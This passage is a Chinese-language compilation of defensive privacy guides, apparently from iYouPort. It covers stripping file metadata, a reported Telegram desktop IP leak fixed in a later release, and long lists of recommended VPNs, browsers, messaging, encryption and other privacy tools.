您可以通过以下方式阻止捕获 GPS 位置等特定类型的元数据：

- 关闭无线和 GPS 位置（位置服务下）和移动数据（可以在数据

管理器 →数据传输下找到）；
- 拍摄照片时，请确保照片应用程序中标记位置的设置也已关闭；
- 使用 Metanull（适用于 Windows）等工具，您可以确保在共享之前删除所有元数据。下面详细讨论该工具。

注意：⚠ 某些文件（如 DOC 和 PDF）可以在其中保存图像文件。如果您没有采取必要的谨慎措施，只是清除了保存图像的文档上的元数据，但是将依旧保留被嵌入图像的元数据！在将图像添加到 DOC 之前请使用 Metanull 事先从中删除所有元数据。

从文档和其他文件中删除元数据

如上所述，其他常用文件类型（如可移植文档文件（PDF）或由 Microsoft Office 或 LibreOffice 等应用程序创建的文字处理文档）包含元数据，其中可能包括：

- 创建文档的人员的用户名；
- 最近编辑和保存文档的人员姓名；
- 创建和修改文档的日期。

在某些情况下，您的文档可能还包含其他个人身份信息，例如地址，电子邮件地址，政府 **ID**，**IP** 地址或与您计算机上其他程序中的个人身份信息相关的唯一标识符。

通过查看文件属性（可以通过右键单击文件图标并选择‘属性’来访问），可以轻松访问其中一些信息。查看其他信息或隐藏性数据则需要特定的软件。在任何情况下，根据环境的不同而异，如果您正在交换敏感信息，此数据就可能会使您面临风险。

从 **PDF** 文件中删除元数据

Windows 或 MAC OS 用户可以使用 Adobe Acrobat XI Pro（提供试用版）等程序从 PDF 文件中删除或编辑隐藏数据。

使用 Acrobat 打开任何 PDF 文件将允许您通过转到“文件”菜单然后选择属性来编辑元数据。在这里，您可以修改文档作者的姓名、标题、主题、关键字和任何其他元数据。您可以通过转到“工具”菜单，然后选择“保护”，再选择“删除隐藏的信息”，从而删除有关创建时间、修改时间、用于创建文件的设备类型以及您未看到的其他隐藏性数据的信息。

对于 GNU / Linux 用户，PDF MOD 是一个免费的开源工具，用于编辑和删除 PDF 文件中的元数据。但是，它不会删除创建或修改时间，也不会删除用于创建 PDF 的设备类型。

从 **LibreOffice** 文档中删除元数据

在 LibreOffice 文档中，可以通过选择“文件”菜单，然后选择“属性”来查看元数据。在“常规”选项卡下，可以单击“重置”以重置常规用户数据，例如总编辑时间和修订号。您还可以通过取消选中此屏幕上的“应用用户数据”复选框，以便删除创建者的名称。完成后，转到“描述”和“自定义属性”选项卡以清除您不想显示的任何数据。最后，单击 Securit **选项卡并取消选中*Record 更改框，如果默认情况下未取消选中它的话。

注意：如果使用 Versions 功能，则可以通过转到“文件”菜单和“版本”来删除可能存储在其中的旧版本文档。如果您使用“更改”功能，请转到“编辑”菜单，然后单击“更改”以接受或拒绝清除与文档所做更改相关的数据（如果您不再需要此信息的话）。

用于清理元数据的其他策略

某些文件类型包含的元数据多于其他文件类型，因此如果您不想使用软件，并且文件的格式无关紧要，您可以从包含大量元数据的文件中做出更改（例如 .DOCs 和 .JPEGs）变成（例如 .TXTs 和 .PNGs）。

⚠ 在注册 Microsoft Office，Open Office，Libre Office，Adobe Acrobat 等软件的副本时，请避免使用您的真实姓名、地址、公司或组织名称。如果您必须提供姓名或地址，请使用假名。

- 延伸阅读：《伪装 + 擦除—— 在线隐身的重要步骤》

工具们肯定会越来越好用，越来越服务于大众。隐私不应该是技术精英的特权、获知真相也不应该被资金雄厚的企业媒体所垄断。民主需要公民行动起来，智慧和能力应该是您最好的装备。

好啦，我们后面还会具体介绍利用元数据实现挖掘调查的演示，希望它们能让您体验到精彩 ☺。

原文

默认设置下的 Telegram 拨打电话会泄露IP地址 - iYouPort

自我保护措施-技术技巧以防身

研究人员已经证明，在默认配置中，Telegram 在拨打电话时会泄露用户的 IP 地址。这里是详细介绍

「图」

「图」

我们曾经表示了不信任 Telegram（ 在这里 看到详细说明，还有我们推荐的可信应用），该程序将自己描述为一个安全的私人通信应用程序，但现在研究人员已经证明，在默认配置中，在拨打电话时它会泄露用户的 IP 地址。

延伸阅读： //俄罗斯采购中国的破解加密消息应用的技术 —— 中国监视技术公司美亚柏科生产的取证魔方可检测和解码消息应用 Telegram、Skype 和 Viber 等的存档//

这是由 Telegram 中的默认设置引起的，其语音呼叫通过 P2P 进行。但是，当使用 P2P 发起 Telegram 呼叫时，通话另一方的 IP 地址将显示在 Telegram 控制台日志中。并非所有版本都包含控制台日志。例如，在我们的测试中 Windows 版本不显示控制台日志，而 Linux 版本则显示。

Telegram 应用程序确实表明用户可以通过更改 Settings -」 Private and Security -」 Voice Calls -」 Peer-To-Peer 为 Never 或 Nobody 来阻止他们的IP地址被泄露。执行此操作将导致用户的呼叫通过 Telegram 的服务器进行路由，这将隐藏 IP 地址，但代价是音频质量会下降。

「图」

「图」

问题是，虽然可以在 iOS 和 Android 中禁用 P2P 呼叫和相关的 IP 地址泄漏，但安全研究人员 Dhiraj 发现官方的 **Telegram for Desktop（tdesktop）**和 "Telegram Messenger for Windows" 应用程序无法禁用 **P2P** 通话。

这意味着只要用户使用 Telegram 拨打电话，这些用户的IP地址就会泄露。 可以在 Ubuntu 上看到 Telegram for Desktop 控制台中泄露的 IP 地址示例。

「图」

「图」

在与 Dhiraj 的对话中，研究人员与 BleepingComputer 分享了一个 PoC 视频，说明了 IP 地址是如何泄露的。

Dhiraj 解释道,

> 在我的视频 PoC 中可以看到3个IP泄漏：1.Telegram 服务器 IP。2.你自己的 IP。3.最终用户的 IP。

在向 Telegram 警告有关 Telegram for Desktop 和 Telegram for Windows 缺失该设置后，Dhiraj 获得了 2,000 欧元的奖金，他的报告漏洞被分配了ID号 CVE-2018-17780。

此问题已在 1.3.17 测试版和 1.4.0 版本的 Telegram for Desktop 中得到修复，其中有一个设置可以禁用添加到程序中的 P2P 调用。

「图」

「图」

为什么 Telegram 一个以安全性和隐私为傲的应用程序，默认情况下会启用 P2P 调用？当 BleepingComputer 向 Dhiraj 询问 Telegram 是否有理由这样做时，他告诉我们“不就此事提供任何评论。”

BleepingComputer 已联系 Telegram 征求意见，但尚未收到回复。

即便能解决这个问题我们依旧不想推荐 Telegram，该应用程序在两个月前 作出的隐私政策变更 允许他们提供用户信息给任何怀疑其用户是“恐怖分子”的政府。如你所知，很多政府当局将他们不喜欢的反对者都称为“恐怖分子”，于是这一政策是潜在的危险因素。

原文

安全手册：这里是你需要的几乎所有基本安全上网工具（1） - iyouport

自我保护措施-技术技巧以防身

【2018年6月4日存档】我们都需要有地方可以去探索而不依靠别人施加在我们身上的眼光，只有在一个不必被放大检视的地方我们才可以真正地测试出自己的极限。真正的私域才能允许不同声音、创造力和个人试探式的谎言

最近出现的一些新闻再次推高了对 telegram 的讨论。我们不喜欢把地缘政治拉入技术领域的任何意见，但对于 telegram 不得不提醒一些细节问题。

任何使用手机注册的东西都会暴露广泛的元数据，不仅含有通过 Apple 和 Google 的消息传递服务的所有通知流，还有来自这些服务器的 IP 流量以及通讯应用服务器上的数据。这是 telegram 的诸多软肋之一。

当然这不是 telegram 所特有的，其他一些加密应用程序也是如此。政府的监视计划很明显会盯住这些弱点。即使政府没有利用这点，其产生的元数据仍然揭示了很多关于个人及其行为的信息，这些信息可以随时被任何目的所利用。

telegram 将用户的联系人数据库上载到其服务器，由此便能够为所有用户建立一个巨大的社交网络图，以及他们如何相互认识的，如果你想运行的是一个秘密网络（不希望无关的人了解到这一群体的存在以及人们互相之间的关系）该应用的特点显然是一个令人担忧的状况。国安局一直拼命挖掘的就是这类信息，他们知道它有多高效。

简单说就是，将个人电话号码与服务链接的结果就好像在一边逃跑一边撒面包屑那样，追踪者会跟着面包屑的痕迹找到你本人。就算你使用的不是实名手机号也不能保证什么，对于能够访问电信系统的攻击者来说（例如***SS7***注入或全国电话运营商），劫持帐户的验证码非常简单。这种攻击方法最初是伊朗使用的，后来俄罗斯也被发现使用了

同样的方法劫持帐户。显然，至少已经有一些国家正在使用这种技术来劫持账户。

telegram 增加了一个额外的安全功能来解决这种攻击—一个密码。如果为帐户设置了密码，在新设备上访问账户仅仅劫持手机验证码是不够的。

不过问题在于，所有非端到端加密聊天都会自动备份到 telegram 服务器—— 该应用默认没有端对端加密，需要用户手动设置。当用户从另一台设备访问他们的帐户时，可以使用整个聊天历史记录。这是一个安全噩梦。存储敏感数据总是非常危险的。

telegram 的优势在于其频道功能，对于宣传的目的来说的确很高效，但是它的安全保障并没有人们想象中那么高不可攀。俄罗斯用户的抵抗运动所反对的是封锁和审查本身，并不是说应用的安全标准不够就可以对当局的封锁行为视而不见。当然这是最简单的常识无需啰嗦。

telegram 之所以被夸大，恐怕和恐怖组织的使用有关，不了解技术的用户会借此认为它是可靠的，毕竟恐怖组织比其他任何人都承受着更多来自国家民族的追捕。我们不知道 ISIS 为什么会信任该应用，但我们会倾向于推荐 Cryptocat 或 qTox 等，对于普通用户、异议人士和调查记者来说，是足够安全的。

Cryptocat

Cryptocat 最开始是一个基于 Web 的网页即时通讯工具，其实就是一个浏览器扩展应用。2016年 Cryptocat 的开发者将其彻底改写成了桌面软件。并且支持 Windows、 Linux 和 Mac.

Cryptocat 是一款端对端即时通讯工具，Snowden 在躲避美国政府追捕过程中与记者联系使用就的就是 Cryptocat，这也是 Cryptocat 一举成名的原因之一。

其实早在 2014 年，EFF 就曾进行过一个“安全通訊評分表”项目，对目前主流的聊天软件就聊天加密、信息获取等七个方面做出评分，Cryptocat 获得了最高分。可见 Cryptocat 并非浪得虚名，其端到端的加密通讯技术，可以最大程度保证用户之间通讯信息的隐密性和安全性。

Cryptocat 的特点包括：多平台开源软件. 支持Windows、Linux和MAC；支持文字、图片、视频消息、文件分享；端对端加密，服务器

不保存任何聊天信息；多设备支持，离线也能接收消息。

使用很简单，安装好客户端后在官网注册账号，不需要手机号。界面很简洁，没有一丝多余的设计。Cryptocat 支持发送文字、图片、音频、视频。不是视频聊天哦，而是通过摄像头录制一段小视频。

Cryptocat 也可以发送文件，不过速度不太好，当然这可能是因为 Cryptocat 没有中心服务器离线存储文件，所以分享文件速度较慢。

另外，Cryptocat 没有清理存聊天记录的功能，关闭聊天窗口将自动清除聊天记录，下次再打开聊天窗口，如果对方离线，会显示对方最近一次上线时间。

Cryptocat 不支持群聊功能，在其最开始的 Web 应用中是可以群聊的。群聊的安全性比较低，人越多越容易鱼龙混杂，当然最理想的还是把群聊当作可选性更好些，用户掌握主动权。

qTox

qTox 是一款基于 tox 制作的端对端加密即时通讯工具。tox 最早是在2013年6月23日由用户 irungentoo 发布并托管于 GitHub 上的，在此后的几年间 TOX 迅速发展，并衍生出许多基于 tox 制作的客户端，包括 qTox、µTox等等。

tox 最初的想法就是创建一个即时通讯工具，无需使用中央服务器即可运行，并且点对点，端到端加密，保证用户通信的保密性和安全性。tox 客户端较多，基本涵盖了所有平台。

随着政府监控项目的兴起，qTox 提供了一个易于使用的软件让用户能够在与亲人和朋友联系的时候防止他人的偷窥。当其它著名服务要求付费使用的时候，qTox 完全免费，并且没有广告。

qTox 特点：方便，支持文本、音频、视频通话；安全，点对点端对端加密，没有中心服务器；简单，qTox 使用简单，不需要任何专业知识，你只要专注于聊天；自由，qTox 是完全免费的。除了免费使用，还能自由修改它。

首先 qTox 是点对点通信，没有中心服务器，这就意味着使用 **qTox** 无需注册账号。下载客户端后直接运行，自动生成账号（76 位的十六进制字符），其实就是常见的一机一码。添加好友也很简单，复制对方的 76 位 ID 发送请求即可，添加成功后就可以愉快的进行聊天了。

qTox 支持语音和视频聊天，通话质量也不错，这点在体验上好过 Cryptocat。而且 qTox 还支持分组，而且支持群聊。

注意，**qTox** 的群聊是一次性的，也就是说群聊成员下线重新登录后群聊就不存在了，你得重新添加群聊。我本人很赞同这种设计，有可能一些朋友觉得不方便，但要知道，一旦有人能在此过程中强迫群聊中其中一个人交出密码，所泄露的就是一群人。

为什么建议不要使用以美国为基地的网络服务？

很多隐私专家一直强调，避免采用位于美国的网络服务。这是由于美国的监控项目使用了国家安全信件 (NSLs) 并伴随着不对外开放的法庭程序，其禁止收到 NSLs 的人谈论这份官方请求。这让政府可以秘密地强迫企业同意交出客户资料，从而把私人企业的网络服务转化成一种大规模监控的工具。（上面链接是 EFF 对此的介绍）

本文不做详细翻译了，普通用户了解大概意思就可以了。这件事非常重要，多年来不断有隐私专家对此强调，其中一个最典型的例子就是 **Lavabit** ，由 Ladar Levison 所创办。美国联邦调查局 FBI 发现 Snowden 使用其服务后，向 Lavabit 要求交出他的使用记录。当然 Lavabit 没有保留系统日志记录而邮件内容是经过加密后才储存，FBI 发出了（不公开法庭）的传票要取得 Lavabit 的 SSL 服务密钥。有了 SSL 密钥就可让他们取用 Lavabit 所有客户的通讯记录（包含元数据和未加密的邮件内容）而不只是 Snowden 的资料。

最后，Levison 交出了 SSL 密钥并在同时关闭了服务器。美国政府当时威胁要逮捕 Levison，认为他关闭 Lavabit 服务是“违反了法院命令”。

Ladar Levison 能做到这点，因为公司属于他一个人。如果它是一个有股东的公共公司，想象一下它的主要责任是为股东赚钱的疯狂的意识形态……这就是为什么隐私保护者一直警告小心硅谷，就算硅谷巨头有正义感，他们也做不到为了正义舍弃公司。

不仅是美国，还包括与美国共享情报的组织，从五眼到九眼到十四眼。

UKUSA 协议 是英国、美国、澳洲、加拿大与纽西兰五国之间的合作协议要共同来收集、分析和分享情报资讯。这个协议的成员就是五眼联盟， 聚焦在取得和分析来自全世界各地的情报。而这五眼国家同意彼此之间不如敌对国那样地互相监控, 由 Snowden 所揭露的资讯显

示，有些五眼联盟成员会监控对方国家的人民并相互分享情报以规避国内法令约束不准监控自己国家的公民规定。五眼联盟也与其它不同的国家集团合作以分享情资 (其组成了九眼集团和十四眼集团等), 总之五眼国家和其它国家成员会对彼此互相进行情报监控。

下面介绍一些安全工具，每个人都用得到。

相对安全的 **VPN**：

推荐以下这些 VPN 服务，它们都不在美国境内、都使用加密，并且接受 Bitcoin 付款, 支持 OpenVPN 而且采用不记录用户活动的政策：

AirVPN，位于意大利，162 台服务器；AzireVPN，瑞典，5台服务器；Cryptostorm，冰岛，18台服务器；EarthVPN，北塞浦路斯，432 台服务器；ExpressVPN，维京群岛，145台服务器；FrootVPN，瑞典，27台服务器；hide.me，马来西亚，88台服务器；IVPN.net，直布罗陀，21台服务器；Mullvad.net，瑞典，168 台服务器；NordVPN.com，巴拿马，475台服务器；OVPN.com，瑞典，39台服务器；Perfect-Privacy.com，巴拿马，41台服务器；ProtonVPN.com，瑞士，112台服务器；Proxy.sh，塞舌尔，300台服务器，Trust.Zone，塞舌尔，48台服务器；VPNTunnel.com，塞舌尔，80台服务器。

挑选 **VPN** 提供商的标准：在美国境外或其它五眼联盟以外的国家营运；避免挑选以英国和美国为基地的服务商；支持 OpenVPN 软件；接受比特币、现金、借记卡或现金卡等付款方式；注册帐号时不会要求提供个人信息，只需填用户名称、密码与电子邮件即可。

另外一个标准是 warrant canary，这是有些组织公布一份文件来声明他们在一段特定期间内，并未接到任何秘密的官方命令。如果这份文件未能及时定期更新，那么用户可以假设该组织可能收到了不可公开的秘密传票，此时应该停止使用他们提供的网络服务。

你可以在这里看到拥有 warrant canary 的公司和组织；在这里查看 Bruce Sneier 对权证的批评以及针对 warrant 的法律案例。

⚠如果您在中国请注意：中国已经封锁了 OpenVPN 协议，技术角度上安全的VPN服务有可能在中国无法使用。

在这里查看《如何验证您的 VPN 连接是否安全？》

相对安全的浏览器：

Mozilla Firefox：Firefox 是一个快速、可靠、开源且尊重用户隐私的上网工具。别忘了调整设置： WebRTC 以及 about:config 和安装隐私保护附加组件。你可以在这里下载。

Brave：比较新的开源浏览器”Brave” 会自动地封锁广告与追踪器，其效能比你目前所用的浏览器更为快速安全。Brave 为基于 Chromium 所开发的软件。在这里下载。

Tor 浏览器：如果你需要额外的匿名层保护，则 Tor 浏览器就是最佳的选项。它是利用火狐浏览器作进一步的调配，其事先预设安装好了一些隐私保护的附加组件、加密与高级的代理器。在这里下载。

你正在使用的浏览器可能并不安全。当访问一个网站时，浏览器会自行地送出一些本身的设定资讯，例如有哪些字体可用，浏览器类型、安装的附加组件等。如果这些组合出来的资讯非常独特，很容易让其它人不需要 cookies 小程式就可以辨识与追踪你。EFF 创建过一个 Panopticlick 工具可以用来测试浏览器的独特程度—— 浏览器指纹。

现代的网页浏览器并没有依照确保个人在互联网的隐私安全这一标准。如果很担心浏览器留下的独特特征指纹辨识，最实际的作法是使用免費的外挂软件像是 Privacy Badger、 uBlock Origin 与 Disconnect。 它们不只提供你网络自由，也保护你上网的隐私保护。建议进一步了解使用这些工具，会比试着操弄浏览器指纹更为容易和方便。

Privacy Badger 可用来阻止广告商或其它第三方追踪器偷偷地追踪用户浏览哪些网站网页。当你浏览网站时 Privacy Badger 透过检查外部网站资源的请求了解追踪器状况。当用户浏览网站时，Privacy Badger 会检查外部的网站请求。请注意，**Google Analytics** 被 **Privacy Badger** 视为首先相关者（**first-party**），这表示如果你未用其它封锁器（例如 **uBlock Origin**），则 **Google Analytics** 就不会遭到封锁。

uBlock Origin 是一个有效的过滤器，容易在内存上执行，也比一般市面上的过滤器更可负载入上千个过滤器当中。这套软件并没有商业化的打算而且是完全开源。不只在火狐，也可以用在其它的浏览器如 Safari、Opera、Chromium 等等。不像 AdBlock Plus，uBlock 并没有所谓「可接受的广告」。

Disconnect 可以自动移除储存在已开启分页中不需再用到的 cookies

以及其他用来监视用户的资讯都会被清除。

取消 **WebRTC**

WebRTC 是一种新的通讯协议，其依靠 **JavaScript** 程序，可能會泄露 **VPN** 用户真实的 **IP** 地址资讯。有些软件如 **NoScript** 可以阻止这个漏洞，但还是建议直接关闭这个协议。

在火狐浏览器下取消 WebRTC：在 “about:config” 内，将 “media.peerconnection.enabled” 设为 “false”。

在浏览器的网址列輸入 “about:config” 并点击 enter 键；点击”I’ll be careful, I promise!”按钮；搜索”media.peerconnection.enabled”；双击这条资讯, “Value”栏位现在应该变成了”false”；完成。再作一次 WebRTC 漏洞测试

如果要确认每一个与 WebRTC 相关设置真的关闭了，可以再进行以下的设置改动：media.peerconnection.turn.disable = true

media.peerconnection.use_document_iceservers = false

media.peerconnection.video.enabled = false

media.peerconnection.identity.timeout = 1

解决 Google Chrome 底下的 WebRTC 漏洞：**Chrome** 浏览器下无法完全取消 **WebRTC**，但可以透过扩展变更其路由设定（与防止洩漏）。有两种开源的方案为：WebRTC Leak Prevent（需依情况来调整设定选项）和 uBlock Origin （请选 “Prevent WebRTC from leaking local IP addresses”）。

苹果 iOS 操作系统下的 Chrome、Internet Explorer 与 Safari 目前尚未采用 WebRTC。但依旧推荐火狐浏览器。

有隐私意识的电子邮件推荐

选择标准是：在美国境外营运，并且支持 SMTP TLS.

Protonmail，瑞士，500MB，接受比特币，有自定网址；Disroot.org, 荷兰，4GB，接受比特币；Tuanota，德国，1GB；自定网址；Mailfence，比利时，500 MB，接受比特币，有自定网址；mailbox.org，德国，2GB，接受比特币，有自定网址；runbox，挪

威，1 GB；startmail，荷兰，10 GB，接受比特币，有自定网址；KolabNow, 瑞士，2 GB，接受比特币。

另外，Mozilla Thunderbird 是一个免费、开源、跨平台的电邮、新闻与聊天软件，由 Mozilla 基金会开发维护。 Thunderbird 是电子邮件、新闻群组、新闻推送订阅与聊天 (支持 XMPP, IRC, Twitter) 的客户端软件；

Claws Mail 是一个免费开源，使用 GTK 桌面环境为基础的电邮与新闻软件。它提供了简单的设定和丰富的功能，也包括 Windows 下的加密套件包。

I2P-Bote 是一个完全去中心化的分布式电邮系统，不同的身份识别也不会曝露邮件表头资讯。到 2015 年为止，它仍处在测试版本，可以透过网页界面应用程序或 IMAP 与 SMTP 来取用。所有 bote-mails 电邮是采端对端透明加密或是可以选择利用传送者的私钥进行数字签名。操作系统：Windows, Mac, Linux, Android, F-Droid.

Bitmessage 是一种点对点的通讯协议，被用来传送加密讯息给单一或多名订阅者。它是去中心化与无信任，指的是用户不必要信任任何根凭证授权的实体。它采用强度高的认证授权，让送件者的讯息无法被欺骗，目的在于能将非讯息内容的资料予以隐藏。操作系统：Windows, Mac, Linux.

Retroshare 可建立朋友间的加密通讯连线，没有人可以监控你。Retroshare 是一个完全分散化的设计，这代表着它没有任何中心控制的服务器。它完全开源和免费。没有任何成本、广告或是服务协议。操作系统：Windows, Mac, Linux。

重视用户隐私的搜索引擎

如果你目前仍在使用 Google、 Bing 或 Yahoo 等搜寻引擎，那么必须说，它们都非常不安全。你应该换成以下这些搜索引擎：

searx 开源搜索引擎，综合来自其它搜索引擎的查询结果但不会储存用户的资讯，不留活动记录、无广告也不会追踪。

StartPage 是 Google 搜索引擎的查询结果，但有完全的隐私保护措施。StartPage 是一家欧洲公司，自 2006 年起就很重视隐私。

DuckDuckGo 不会追踪用户的搜索引擎。 Some of DuckDuckGo 部份的代码是放在 GitHub 的免费软件，但其核心是封闭。公司在美国，

但跟华盛顿无关，它是个特例，就像 EFF 那样。

安全档案分享

OnionShare 是一套开源工具，可以安全而匿名地分享档案，没有大小限制。它透过网页服务器来启动，让自身变成 Tor 洋□服务接取的一部份，产生一个无法猜测的网址以用來接取和下载档案。其并不需要在互联网上设定一个服务器或是使用第三方的档案分享服务。用戶可以透过自己的电脑來放置这些档案，再使用 Tor 以让档案可以透过互联网暂时被存取。操作系统： Windows、Mac、Linux.

Magic Wormhole 让电脑之间安全地收取档案资料。这个套件提供一个名为虫洞 wormhole 的资料库，其可以在电脑之间取用不限大小的档案与目录资料夹。其电脑间两个终端利用一致虫洞代码 “wormhole codes” 来识别，一般而言，传送端的电脑会产生与显示这个代码，而接收端电脑则必须输入此代码以进行连接。 此代码很简短且人类可识读，利用发音可区别的文字行。接收端的电脑则在代码字上提供完成分页，因此通常要输入一些字元。虫洞代码仅能使用一次，故不必强记。跨平台。

安全的档案同步软件

SparkleShare 在自己的电脑上建立一个特别的资料夹，用户可把远端主机的资料夹（或专案）存放到这个资料夹底下。这些专案会保持自动与主机以及其它的加入的资料夹同群一起更新档案，新增、移除或编辑等最新状态。操作系统：Windows, Mac, Linux.

Syncany 可让用户备份与分享工作站上的某些资料夹，它是一个开源的软件且提供资料加密功能，对储存类型与供给上提供了很大的弹性。档案在上传到主机前会先经过加密手续。操作系统： Windows, Mac, Linux.

Syncthing 用来替换商用同步软件与云端服务，它开放、值得信任且去中心化。你的资料就是你的资料，当事人有权选择它要存放在哪里，是否要与其它第三者分享以及资料如何在网络上被传递。操作系统：Windows, Mac, Linux, Android, BSD, Solaris.

档案加密系统

如果你尚未对使用中的硬盘、电子邮件或档案库予以加密，你应该赶快从这挑选一个加密软件。

VeraCrypt—硬盘加密 可取得源代码的免费软件工具，用来进行快速加密。它可以为一个档案建立一个虚拟的加密硬盘、加密分区或是在开机前授权设置整个设备的硬盘都予以加密。 VeraCrypt 源自目前已无进展的 TrueCrypt 专案。它最初的发布是 2013 年 6 月 23 日。据开发者表示，原本 TrueCrypt 源代码在审查后发现的问题已经解决，大幅地改善了安全性。操作系统：Windows, Mac, Linux.

GNU Privacy Guard—电邮加密 GnuPG 是采用 GPL 授权，替代 PGP 密码学软件套件。 GnuPG 可兼容 RFC 4880, 它是一个目前 IETF OpenPGP 标准轨道规格。目前 PGP (以及Veridis' Filecrypt)的版本可以和 GnuPG 以及其它 OpenPGP 兼容系统交互操作。 GnuPG 是自由软件基金会GNU 软件专案中的一部份，曾接受德国政府的经费赞助。 操作系统：Windows, Mac, Linux, Android, BSD.

PeaZip—档案库加密 PeaZip 是由 Giorgio Tani 所开发的一套免费开源的档案管理与档案库软件。它支援原生的 PEA 档案库格式(特色为压缩、多组磁区分割、弹性化节授权加密和一致的检验格式)以及其它的主流格式。其特别关注在开放格式，目前有支持 181 档案延伸格式。操作系统： Windows, Linux, BSD.

去中心的社交网络

如果你还在使用如 Facebook, Twitter 或 Google 的社交网站，这些都是集中化的东西，你无法摆脱审查和隐私侵犯。建议从以下挑选替代品。

diaspora* 基于三大核心哲学：去中心化、自由和隐私。它希望能引起大家关切由中心所控制社交网站下的隐私问题，所以可以让用户自行架设服务器（或称"pod"）来控制内容，而各个服务器可以再自行互动分享动态更新、照片或其它的资料。

Friendica 强调在隐私控制上的仔细设置，它是一个容易安装在服务器上的软件，以期待尽可能出现更多其它的社交网络联邦。Friendica 用户可以从 Facebook, Twitter, Diaspora, GNU social，App.net, Pump.io 等等多项社交网络服务来整合其联系人的名单到自己的社交时间流。

GNU social 的功能有点类似推特，但希望能为微博客社群，提供更开放、互相扶持的分散式沟通功能。企业或个人可以自行安装 GNU social 在自家机器上，以控管自己的服务与资料数据。著名的公共网站如： quitter.se 和 gnusocial.no.

安全的网络笔记应用

如果你仍然在使用如 Evernote、Google Keep 或 Microsoft OneNote，赶紧换掉它们。

Laverna 以 JavaScript 开发的网页笔记应用程式，它支持 Markdown 语法编辑和加密功能。这个应用程序将笔记储存在浏览器的资料库上，只有你能取用，所以既安全又能保护隐私。操作系统：Windows, Mac, Linux, 网页。

Turtl 可以做笔记、网址书签和储存敏感专案的文件。它可让工作伙伴共享密码,追踪你所写的文章。 Turtl 让文件保持安全,只有你和有分享权限者可以看到。操作系统：Windows, Mac, Linux, Android.

Standard Notes 是一个简单私密的笔记应用程序，可以轻松、随时随地作笔记。它的功能包括了每个平台上端点对端点之间的加密，而其桌面应用则有丰富的主题模版和客制化编辑器。操作系统：Windows, Mac, Linux, iOS, Android, Web.

安全的生产力工具

Etherpad 是一个可以高度自定义的开源在线编辑器，它提供了即时的协同编辑功能。 Etherpad 可以让你即时地在线上协力编写文件，在你的浏览器上就像是有多名参与者共同在编写一份文章、发布消息或是任务清单等等功能。操作系统：Windows, Mac, Linux.

EtherCalc 是一个网页版的试算表，其资料存在网页上，使用者可以同一时间在同一个档案上进行编辑而其变动会立即呈现在屏幕上。它可用来作为共享的库存统计、问卷表单、清单管理、脑力激荡等工具。操作系统：Windows, Mac, GNU/Linux, FreeBSD, Browser.

ProtectedText 是一开源的网页应用程序，它可以在浏览器上加密与解密文字档案而其密码(或称其杂凑值)绝不会送回到服务器。 —因此若密钥和密码则文字内容无法被解密，就算有关当局拿到文档也没用。它无 cookies, 无时限，不用注册也不会对用户进行追踪。支持各式浏览器。

安全电脑操作系统

如果你目前还在使用微软 Windows 或是苹果电脑 OS X 的操作系统，或许该考虑其它替代选项了。

Qubes 是一个开源的操作系统，其设计为桌面型电脑提供更坚强的安全保护。 Qubes 是以 Xen 为基础, X 视窗系统桌面环境与 Linux,它可以执行大多数的 Linux 应用程序以及适用大部份的 Linux 的硬件效能驱动。

Debian 有点像 Unix 的电脑操作系统，它是 Linux 的发布版本之一，其由自由免费的软件所组成，大部份的软件都是采用 GNU 一般公共授权。有一群人长期地投入 Debian 专案的开发维护。

⚠为什么 **Windows 10** 是隐私噩梦？

因为1、系统会默认预设为启用资料同步：浏览网络记录与打开的网站；应用程序设定；WiFi 热点名称和密码。2、你的机子被预设标记了一个独一的广告识别码：用它第三方广告商或网络商可对你进行个性化广告服务。3、Cortana 可以收集你的任何资料：键盘记录，搜索与麦克风输入；日历资料；聆听什么音乐；信用卡资讯；购买行为。4、微软可以收集任何个人资料：用户身份识别；密码；人种族群资讯；兴趣与习惯；使用数据；联系人与人际关系；地点地理资讯；电子邮件、即时通讯的内容、通话记录与声音影像记录。5、你的资料可能被他人使用：下载 Windows 10 时,你授予了微软公司可以将上述资料分享给第三者，不管有无取得你的同意。

你也可以下载这个工具 **W10Privacy**，利用一些已知的方式来设法禁用 Windows 10 下主要的追踪监控功能。以及另一些应对方法。

> 美国国安局建立了一套设施，其几乎可以拦截任何通讯。这套设备的能力，大多数人类的通讯都会自动地被吸纳进去而不是针对特定目标。如果我想要看你的电邮内容或是你老婆的电话，我只须要利用这套设备进行拦截，就可以取得你的电子邮件、密码、电信通话记录、信用卡资料等等。我不想活在一个做这种勾当的社会里，我不想要活在一个任何所做的事所说的话都被记录下来的世界。这不是我愿意去支持或是存活下来的地方。

开源的路由器固件

OpenWrt 是一套利用 Linux 核心的操作系统 (特别是一种「嵌入式」操作系统)，主要用于一些路由网络流量的设备上。它主要的构成是由 Linux 核心, util-linux、uClibc 和 BusyBox。这些元素都已经过尺寸的最佳调适，以符合家用路由器这类的小型设备与其有限的内存容

量与储存空间。

pfSense 是利用 FreeBSD 所开发的一套用于防火墙/路由器上的开源固件。它安装在电脑上可变成网路上防火墙/路由器功能，并以其可靠与不输给商用软件的强大功能而著称。 pfSense 通常布署在周边的防火墙、路由器、无线接取器、DHCP 服务器, DNS 服务器, 以及 VPN 末端点。

LibreWRT 是一套以 GNU/Linux-libre 授权的发布版本，利用最小的资源装置在电脑上，例如 Ben Nanonote，利用 ath9k 的无线路由器以及其它强调尊重用户自由与免费软件的硬件设备上。自由软件基金会即在其接取器和路由器上安装 LibreWRTIt，以提供办公室内移动电脑设备的网络连线。

我们会不断推荐新出现的优秀产品，欢迎关注。我们很珍惜您的支持，因为打败数字极权需要我们所有人一起努力。〇

原文

安全工具箱补充版：分类工具列表（2）- iyouport

互联网自由-Resist自我保护措施-技术技巧以防身

【2020年6月19日存档】这里是您应该用得到的东西 —— *用开源自由软件替代专有软件*

还记得我们两年前发布的安全工具汇总吗《安全手册》；本文将对此做出一些补充，按照不同需求分类，帮助您从专业软件中解脱出来。

其中一些软件也许您已经了解，但也可能有其他您尚未了解的内容，希望本文的总结能有所帮助。

免责声明：仅仅使用本文推荐的项目并不能保证您的通信100%不受监视（如果您的对手是美国国安局，那么Tor也保护不了您）。安全没有100%，但可以帮助您在很大程度上获得保护。

上图中这本书在这里下载：https://t.me/iyouport/6851

⚠ 操作安全永远是第一位的，而不是技术。

下面开始。

1、匿名网络

I2P

Orbot

Tor

以上这些都无需介绍了。

2、应用商店（替代 Google Play、Amazon Appstore）

F-Droid：这是自由开源的安卓应用商店。

3、两步验证（替代 Authy）

andOTP：安卓系统的两步验证工具。

Tofu：iOS系统的两步验证工具。

4、书签同步和协作（替代 Instapaper、Pocket）

Shaarli：个人的、最小化的、超快的无数据库的书签同步工具。

